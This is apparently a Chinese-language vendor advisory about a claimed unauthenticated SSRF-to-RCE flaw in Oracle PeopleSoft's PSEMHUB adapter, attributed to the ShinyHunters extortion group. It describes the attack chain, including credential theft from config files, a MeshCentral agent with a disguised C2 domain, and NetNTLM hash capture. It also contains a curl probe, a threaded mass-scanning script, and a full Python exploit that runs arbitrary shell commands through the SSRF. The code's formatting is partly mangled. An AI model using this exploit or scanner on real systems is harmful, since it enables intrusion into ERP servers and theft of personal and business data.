【高危漏洞预警】Oracle PeopleSoft 零日漏洞CVE-2026-35273

飓风网络安全

2026年6月16日 23:31
北京

在小说阅读器读本章

去阅读

一、漏洞详情
1.1受影响组件：Oracle PeopleSoft Enterprise PeopleTools — Updates Environment Management（PSEMHUB环境管理枢纽）

• 受影响版本：PeopleTools 8.61、8.62（更早未维护版本大概率存在同漏洞）

• 披露与利用时间线：
1. 2026-05-27：UNC6240（ShinyHunters勒索组织）开始在全球发起0day攻击

2026-06-10：Oracle发布紧急安全预警+场外应急补丁
2026-06-12：CISA将该漏洞录入已知活跃利用漏洞清单，强制政企限期修复
截至2026-06-16：全球超100家机构、300+实例被攻陷，受害主体以高校、金融、制造业ERP系统为主
1.2 威胁主体与攻击链路
攻击团伙：ShinyHunters（追踪编号UNC6240），勒索 extortion 团伙，攻击流程标准化：
公网资产测绘扫描 /PSEMHUB/ 路径暴露实例
利用CVE-2026-35273无授权RCE拿下应用服务器
部署MeshCentral远程代理，C2域名azurenetfiles.net伪装Azure云服务规避流量审计
读取psappsrv.cfg明文数据库、中间件账号密码
横向渗透WebLogic、批量调度服务、数据库集群
加密业务数据、窃取师生/企业核心信息，公开泄露数据索要赎金

二、漏洞底层技术原理
2.1 漏洞根因
PeopleTools内置PSEMHUB环境更新管理模块，对外暴露无鉴权接口/PSEMHUB/adapter，接口接收可控target参数并由服务端主动发起HTTP/SMB出站请求：
1. 接口未做身份校验、未做内网IP/特殊协议黑名单过滤；

攻击者可控target构造SSRF，访问本地内网管理服务；
内网管理接口存在命令执行逻辑，通过SSRF跳转可间接执行系统命令，形成SSRF→本地接口调用→无授权RCE完整利用链；
额外风险：target支持SMB协议，可强制目标服务器向外发起445端口连接，抓取Windows机器账号NetNTLM哈希用于中继爆破、内网横向移动。

2.2 关键触发接口
1. 漏洞入口探测接口：/PSEMHUB/adapter?target=xxx

内网中继执行辅助接口：/PSIGW/HttpListeningConnector（可配合旧版漏洞扩大攻击面）
内网管理执行端点：http://127.0.0.1:8000/psadmin/exec（仅本机可访问，依靠SSRF跳转调用）

2.3 完整利用逻辑
1. 攻击者发送GET请求至目标/PSEMHUB/adapter，target参数指向本机环回地址管理执行接口；

PeopleSoft服务端主动向127.0.0.1发起请求，携带攻击者传入的系统执行参数；
本地psadmin管理模块接收参数，未过滤危险系统命令，直接调用操作系统API；
命令执行结果通过HTTP响应返回攻击者，实现回显型RCE；
无回显场景可通过外网HTTP/DNS日志带出命令执行结果，或写入Web目录上传后门。

三、漏洞检测脚本（合规探测，仅用于自查）
3.1 手动探测HTTP请求（curl）
用于验证目标是否存在SSRF入口，无危害仅做连通性测试：

漏洞探测请求，访问本地ping接口验证SSRF

curl -i \"http://target-ip/PSEMHUB/adapter?target=http://127.0.0.1:8000/psadmin/ping\"
判定标准：
• 响应包含ping success、本地服务状态信息 → 存在漏洞入口，高危；

• 404/403/路径拦截/无本地服务返回 → 已修复或有WAF阻断。

3.2 Python批量资产探测脚本（仅内网自查）
import requests
import sys
from concurrent.futures import ThreadPoolExecutor

headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
}

def check\_vuln(target):
url = f\"{target.rstrip('/')}/PSEMHUB/adapter?target=http://127.0.0.1:8000/psadmin/ping\"
try:
resp = requests.get(url, headers=headers, timeout=5, verify=False)
if resp.status\_code == 200 and \"ping\" in resp.text:
print(f\"[!] 高危漏洞 CVE-2026-35273 存在: {target}\")
else:
print(f\"[+] 目标安全: {target}\")
except Exception as e:
print(f\"[-] 无法访问 {target}: {str(e)}\")

if \\_name\\ == \"\\main\\_\":
if len(sys.argv) < 2:
print(\"使用方式: python scan.py ip.txt\")
sys.exit()
targets = open(sys.argv[1], \"r\", encoding=\"utf-8\").read().splitlines()
with ThreadPoolExecutor(max\_workers=20) as pool:
pool.map(check\_vuln, targets)

四、完整研究型POC（仅授权测试环境使用，回显RCE）
4.1 POC原理说明
通过/PSEMHUB/adapter SSRF跳转本地psadmin/exec接口，传递cmd参数执行系统命令，响应直接返回命令输出；区分Windows/Linux执行参数。

4.2 Python 完整POC代码
import requests
import urllib.parse
import sys
requests.packages.urllib3.disable\_warnings()

class CVE202635273\Exploit:
def \\init\\_(self, target\_base):
self.base = target\_base.rstrip(\"/\")
self.vuln\_path = \"/PSEMHUB/adapter\"
self.local\_exec\_endpoint = \"http://127.0.0.1:8000/psadmin/exec\"

def exec\_cmd(self, cmd, is\_windows=True):
# 拼接本地执行接口参数
if is\_windows:
payload\_cmd = f\"cmd.exe /c {cmd}\"
else:
payload\_cmd = f\"/bin/sh -c {cmd}\"
full\_target\_url = f\"{self.local\_exec\_endpoint}?cmd={urllib.parse.quote(payload\_cmd)}\"
exploit\_url = f\"{self.base}{self.vuln\_path}?target={urllib.parse.quote(full\_target\_url)}\"
headers = {
\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
}
try:
resp = requests.get(exploit\_url, headers=headers, timeout=8, verify=False)
print(\"=\"\60)
print(f\"命令执行结果:\
{resp.text}\")
print(\"=\"\60)
return resp.text
except requests.exceptions.Timeout:
print(\"[ERROR] 请求超时，目标无回显或防火墙拦截\")
except Exception as e:
print(f\"[ERROR] 利用失败: {str(e)}\")

def help\_msg():
print(\"\"\"
CVE-2026-35273 Oracle PeopleTools RCE POC（仅授权测试环境）
使用示例：

Windows系统执行ipconfig

python exp.py http://192.168.10.10 windows ipconfig

Linux系统执行whoami

python exp.py https://erp.test.edu linux \"whoami;id\"
\"\"\")

if \\_name\\ == \"\\main\\_\":
if len(sys.argv) !=4:
help\_msg()
sys.exit(0)
target = sys.argv[1]
os\_type = sys.argv[2]
cmd = sys.argv[3]
exp = CVE202635273\_Exploit(target)
if os\_type.lower() == \"windows\":
exp.exec\_cmd(cmd, is\_windows=True)
elif os\_type.lower() == \"linux\":
exp.exec\_cmd(cmd, is\_windows=False)
else:
print(\"系统类型仅支持 windows / linux\")